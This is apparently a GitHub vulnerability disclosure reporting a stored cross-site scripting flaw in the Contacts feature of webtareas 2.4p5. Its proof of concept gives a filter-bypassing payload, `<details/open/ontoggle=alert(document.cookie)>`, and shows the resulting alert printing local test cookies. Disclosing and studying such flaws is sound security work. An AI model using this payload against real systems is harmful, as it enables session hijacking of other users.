

New issue

[Jump to bottom](#)

# Stored Cross Site Scripting Vulnerability Bypass filter on "Contacts" feature in webtareas 2.4p5 #10

Open anhdq201 opened this issue on Nov 2 · 0 comments

anhdq201 commented on Nov 2 Owner

## Version: 2.4p5

## Description

An authenticated malicious user can take advantage of a Stored XSS vulnerability in the "Contacts" feature.

## Proof of Concept

Step 1: Go to `/contacts/listcontacts.php?`, click "Add" and insert payload `<details/open/ontoggle=alert(document.cookie)>` in "Last Name" field.

webTareas

localhost:13340/contacts/editcontact.php?

Search webTareas

Administrator

Contacts Add Contact

Details

Salutation

First Name

\* Last Name `<details/open/ontoggle=alert(document.cookie)>`

Title

Client Organization

Department

Do Not Call

Work E-Mail

Home E-Mail

Other E-Mail

Work Phone

Home Phone

Other Phone

Mobile Phone

Fax

Assistant

Assistant Phone

Birthdate

Description

Shared

Address

Step 2: Alert XSS Message

webTareas

localhost:13340/contacts/listcontacts.php?

Search webTareas

Administrator

Contacts

First Name Last Name Title Client

Details

user1 test

localhost:13340 says

fusion76pfl\_visited=yes; KCFINDER\_showname=on; KCFINDER\_showsize=off; KCFINDER\_showtime=off; KCFINDER\_order=name; KCFINDER\_orderDesc=off; KCFINDER\_view=thumbs; KCFINDER\_displaySettings=off; \_ga=GA1.1.218229828.1664898394; fusion76811\_visited=yes; userbl\_results=user\_joined%2Cuser\_lastvisit%2Cuser\_groups; userbl\_status=0%2C2; userbl\_search=%25; cookie\_test=please\_accept\_for\_session; \_\_gads=ID=b63f95e1677676e3-223ed1eb6ed700-00-T-1666277760-PT-1666277760-A1-M1-14h01DmkV-wn0i0k7adwi

OK

Powered by webTareas v2.4 - Connected users: 1 - (GMT +7:00)

# Impact

If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

